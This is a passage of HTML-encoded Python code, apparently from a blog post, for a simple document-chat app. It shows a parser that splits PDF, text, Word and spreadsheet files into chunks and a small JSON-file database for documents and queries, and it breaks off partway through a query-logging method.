&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as db_error:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error clearing SimpleDB: {str(db_error)}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return success&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;Vector database not initialized&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return False&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error resetting database: {str(e)}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return False&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;import fitz&amp;nbsp; # PyMuPDF&lt;/p&gt;&lt;p&gt;import pandas as pd&lt;/p&gt;&lt;p&gt;from typing import List&lt;/p&gt;&lt;p&gt;import docx&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class SimpleDocumentParser:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def __init__(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Initialize simple document parser for various file types&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pass&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def parse_document(self, file_path: str) -&amp;gt; List[str]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Parse a document and return text chunks&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file_ext = os.path.splitext(file_path)[1].lower()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if file_ext == &#39;.pdf&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.parse_pdf(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif file_ext == &#39;.txt&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.parse_text(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif file_ext == &#39;.docx&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.parse_docx(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif file_ext in [&#39;.csv&#39;, &#39;.xlsx&#39;, &#39;.xls&#39;]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.parse_tabular(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.parse_text(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def parse_pdf(self, file_path: str) -&amp;gt; List[str]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Parse PDF using PyMuPDF&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = []&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Opening the PDF&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc = fitz.open(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Extracting text from each page&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for page_num in range(len(doc)):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; page = doc.load_page(page_num)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = page.get_text()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Simple chunking by paragraphs&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; paragraphs = text.split(&#39;\n\n&#39;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for para in paragraphs:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if len(para.strip()) &amp;gt; 0:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(para.strip())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc.close()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error parsing PDF {file_path}: {e}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = [f&quot;Error parsing PDF: {str(e)}&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return chunks&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def parse_text(self, file_path: str) -&amp;gt; List[str]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Parse plain text file&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = []&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(file_path, &#39;r&#39;, encoding=&#39;utf-8&#39;, errors=&#39;ignore&#39;) as f:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = f.read()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Splitting by paragraphs&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; paragraphs = text.split(&#39;\n\n&#39;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for para in paragraphs:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if len(para.strip()) &amp;gt; 0:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(para.strip())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error parsing text file {file_path}: {e}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = [f&quot;Error parsing text file: {str(e)}&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return chunks&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def parse_docx(self, file_path: str) -&amp;gt; List[str]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Parse DOCX using python-docx&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = []&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc = docx.Document(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Extracting text from paragraphs&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for para in doc.paragraphs:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if len(para.text.strip()) &amp;gt; 0:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(para.text.strip())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error parsing DOCX {file_path}: {e}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = [f&quot;Error parsing DOCX: {str(e)}&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return chunks&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def parse_tabular(self, file_path: str) -&amp;gt; List[str]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Parsing CSV or Excel files using pandas&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = []&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file_ext = os.path.splitext(file_path)[1].lower()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if file_ext == &#39;.csv&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; df = pd.read_csv(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&amp;nbsp; # Excel files&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; df = pd.read_excel(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Adding table summary&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; summary = f&quot;Table with {len(df)} rows and {len(df.columns)} columns. &quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; summary += f&quot;Columns: {&#39;, &#39;.join(df.columns.tolist())}&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(summary)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Adding column descriptions with data types&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; col_types = df.dtypes.to_dict()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; col_desc = &quot;Column details:\n&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for col, dtype in col_types.items():&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Adding sample values for each column (first 3 unique values)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sample_values = df[col].dropna().unique()[:3]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sample_str = &quot;, &quot;.join([str(v) for v in sample_values])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; col_desc += f&quot;- {col} (Type: {dtype}): Sample values: {sample_str}\n&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(col_desc)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Converting each row to a text chunk (limit to first 50 rows for indexing)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for index, row in df.head(50).iterrows():&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; row_text = &quot; | &quot;.join([f&quot;{col}: {val}&quot; for col, val in row.items()])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks.append(row_text)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error parsing tabular file {file_path}: {e}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunks = [f&quot;Error parsing tabular file: {str(e)}&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return chunks&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;import json&lt;/p&gt;&lt;p&gt;from datetime import datetime&lt;/p&gt;&lt;p&gt;from typing import List, Dict, Any&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class SimpleDB:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def __init__(self, db_path: str = &quot;./data/documents.json&quot;):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Initialize a simple JSON-based document store&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.db_path = db_path&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os.makedirs(os.path.dirname(db_path), exist_ok=True)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Create the DB file if it doesn&#39;t exist&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if not os.path.exists(db_path):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(db_path, &#39;w&#39;) as f:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; json.dump({&quot;documents&quot;: [], &quot;queries&quot;: []}, f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def _read_db(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Read the database file&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(self.db_path, &#39;r&#39;) as f:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return json.load(f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def _write_db(self, data):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Write to the database file&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(self.db_path, &#39;w&#39;) as f:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; json.dump(data, f, indent=2)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def add_document(self, filename: str, file_path: str, file_type: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Add a document to the database&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; db = self._read_db()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Generating a simple ID&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc_id = len(db[&quot;documents&quot;]) + 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Add document&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; db[&quot;documents&quot;].append({&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;id&quot;: doc_id,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;filename&quot;: filename,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;file_path&quot;: file_path,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;file_type&quot;: file_type,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;upload_date&quot;: str(datetime.now())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self._write_db(db)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return doc_id&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def get_document(self, doc_id: int):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Get document by ID&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; db = self._read_db()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for doc in db[&quot;documents&quot;]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if doc[&quot;id&quot;] == doc_id:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return doc&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return None&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def get_all_documents(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Get all documents&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; db = self._read_db()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return db[&quot;documents&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def log_query(self, query_text: str, response: str = None):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Log a user query and its response&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; 